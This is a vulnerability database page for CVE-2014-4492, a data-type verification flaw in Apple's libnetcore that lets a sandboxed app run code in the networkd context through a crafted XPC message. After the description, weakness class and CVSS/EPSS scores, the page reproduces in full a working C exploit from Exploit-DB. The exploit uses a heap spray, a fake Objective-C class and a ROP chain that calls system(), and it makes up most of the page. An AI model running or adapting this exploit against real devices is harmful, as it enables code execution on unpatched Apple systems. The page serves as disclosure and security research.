CVE-2014-4492 Detail

CVE-2014-4492

EPSS

3.45%V3

Vector

Network

Published

2015-01-30
10h00 +00:00

Modified

2016-12-05
21h57 +00:00

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CVE Descriptions

libnetcore in Apple iOS before 8.1.3, Apple OS X before 10.10.2, and Apple TV before 7.0.3 does not verify that certain values have the expected data type, which allows attackers to execute arbitrary code in an _networkd context via a crafted XPC message from a sandboxed app, as demonstrated by lack of verification of the XPC dictionary data type.

CVE Informations

Related Weaknesses

CWE-ID	Weakness Name	Source
CWE-19	Category : Data Processing Errors Weaknesses in this category are typically found in functionality that processes data. Data processing is the manipulation of input to retrieve or save information.

Metrics

Metrics	Score	Severity	CVSS Vector	Source
V2	7.5		AV:N/AC:L/Au:N/C:P/I:P/A:P	nvd@nist.gov

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

EPSS First.org

Exploit information

Exploit Database EDB-ID : 35847

Publication date : 2015-01-19 23h00 +00:00
Author : Google Security Research
EDB Verified : Yes

// Requires Lorgnette: https://github.com/rodionovd/liblorgnette // clang -o networkd_exploit networkd_exploit.c liblorgnette/lorgnette.c -framework CoreFoundation // ianbeer #include <dlfcn.h> #include <stdint.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/mman.h> #include <xpc/xpc.h> #include <CoreFoundation/CoreFoundation.h> #include <mach/mach.h> #include <mach/mach_vm.h> #include <mach/task.h> #include <mach-o/dyld_images.h> #include "liblorgnette/lorgnette.h" /* find the base address of CoreFoundation for the ROP gadgets */ void* find_library_load_address(const char* library_name){ kern_return_t err; // get the list of all loaded modules from dyld // the task_info mach API will get the address of the dyld all_image_info struct for the given task // from which we can get the names and load addresses of all modules task_dyld_info_data_t task_dyld_info; mach_msg_type_number_t count = TASK_DYLD_INFO_COUNT; err = task_info(mach_task_self(), TASK_DYLD_INFO, (task_info_t)&task_dyld_info, &count); const struct dyld_all_image_infos* all_image_infos = (const struct dyld_all_image_infos*)task_dyld_info.all_image_info_addr; const struct dyld_image_info* image_infos = all_image_infos->infoArray; for(size_t i = 0; i < all_image_infos->infoArrayCount; i++){ const char* image_name = image_infos[i].imageFilePath; mach_vm_address_t image_load_address = (mach_vm_address_t)image_infos[i].imageLoadAddress; if (strstr(image_name, library_name)){ return (void*)image_load_address; } } return NULL; } struct heap_spray { void* fake_objc_class_ptr; // -------+ uint8_t pad0[0x10]; // | uint64_t first_gadget; // | uint8_t pad1[0x8]; // | uint64_t null0; // | uint64_t pad3; // | uint64_t pop_rdi_rbp_ret; // | uint64_t rdi; // | uint64_t rbp; // | uint64_t system; // | struct fake_objc_class_t { // | char pad[0x10]; // <----------+ void* cache_buckets_ptr; //--------+ uint64_t cache_bucket_mask; // | } fake_objc_class; // | struct fake_cache_bucket_t { // | void* cached_sel; // <--------+ //point to the right selector void* cached_function; // will be RIP :) } fake_cache_bucket; char command[256]; }; xpc_connection_t connect(){ xpc_connection_t conn = xpc_connection_create_mach_service("com.apple.networkd", NULL, XPC_CONNECTION_MACH_SERVICE_PRIVILEGED); xpc_connection_set_event_handler(conn, ^(xpc_object_t event) { xpc_type_t t = xpc_get_type(event); if (t == XPC_TYPE_ERROR){ printf("err: %s\n", xpc_dictionary_get_string(event, XPC_ERROR_KEY_DESCRIPTION)); } printf("received an event\n"); }); xpc_connection_resume(conn); return conn; } void go(){ void* heap_spray_target_addr = (void*)0x120202000; struct heap_spray* hs = mmap(heap_spray_target_addr, 0x1000, 3, MAP_ANON|MAP_PRIVATE|MAP_FIXED, 0, 0); memset(hs, 'C', 0x1000); hs->null0 = 0; hs->fake_objc_class_ptr = &hs->fake_objc_class; hs->fake_objc_class.cache_buckets_ptr = &hs->fake_cache_bucket; hs->fake_objc_class.cache_bucket_mask = 0; // nasty hack to find the correct selector address :) uint8_t* ptr = (uint8_t*)lorgnette_lookup(mach_task_self(), "_dispatch_objc_release"); uint64_t* msgrefs = ptr + 0x1a + (*(int32_t*)(ptr+0x16)); //offset of rip-relative offset of selector uint64_t sel = msgrefs[1]; printf("%p\n", sel); hs->fake_cache_bucket.cached_sel = sel; uint8_t* CoreFoundation_base = find_library_load_address("CoreFoundation"); // pivot: /* push rax add eax, [rax] add [rbx+0x41], bl pop rsp pop r14 pop r15 pop rbp ret */ hs->fake_cache_bucket.cached_function = CoreFoundation_base + 0x46ef0; //0x414142424343; // ROP from here // jump over the NULL then so there's more space: //pop, pop, pop, ret: //and keep stack correctly aligned hs->first_gadget = CoreFoundation_base + 0x46ef7; hs->pop_rdi_rbp_ret = CoreFoundation_base + 0x2226; hs->system = dlsym(RTLD_DEFAULT, "system"); hs->rdi = &hs->command; strcpy(hs->command, "touch /tmp/hello_networkd"); size_t heap_spray_pages = 0x40000; size_t heap_spray_bytes = heap_spray_pages * 0x1000; char* heap_spray_copies = malloc(heap_spray_bytes); for (int i = 0; i < heap_spray_pages; i++){ memcpy(heap_spray_copies+(i*0x1000), hs, 0x1000); } xpc_object_t msg = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_data(msg, "heap_spray", heap_spray_copies, heap_spray_bytes); xpc_dictionary_set_uint64(msg, "type", 6); xpc_dictionary_set_uint64(msg, "connection_id", 1); xpc_object_t params = xpc_dictionary_create(NULL, NULL, 0); xpc_object_t conn_list = xpc_array_create(NULL, 0); xpc_object_t arr_dict = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_string(arr_dict, "hostname", "example.com"); xpc_array_append_value(conn_list, arr_dict); xpc_dictionary_set_value(params, "connection_entry_list", conn_list); char* long_key = malloc(1024); memset(long_key, 'A', 1023); long_key[1023] = '\x00'; xpc_dictionary_set_string(params, long_key, "something or other that's not important"); uint64_t uuid[] = {0, 0x120200000}; xpc_dictionary_set_uuid(params, "effective_audit_token", (const unsigned char*)uuid); xpc_dictionary_set_uint64(params, "start", 0); xpc_dictionary_set_uint64(params, "duration", 0); xpc_dictionary_set_value(msg, "parameters", params); xpc_object_t state = xpc_dictionary_create(NULL, NULL, 0); xpc_dictionary_set_int64(state, "power_slot", 0); xpc_dictionary_set_value(msg, "state", state); xpc_object_t conn = connect(); printf("connected\n"); xpc_connection_send_message(conn, msg); printf("enqueued message\n"); xpc_connection_send_barrier(conn, ^{printf("other side has enqueued this message\n");}); xpc_release(msg); } int main(){ go(); printf("entering CFRunLoop\n"); for(;;){ CFRunLoopRunInMode(kCFRunLoopDefaultMode, DBL_MAX, TRUE); } return 0; }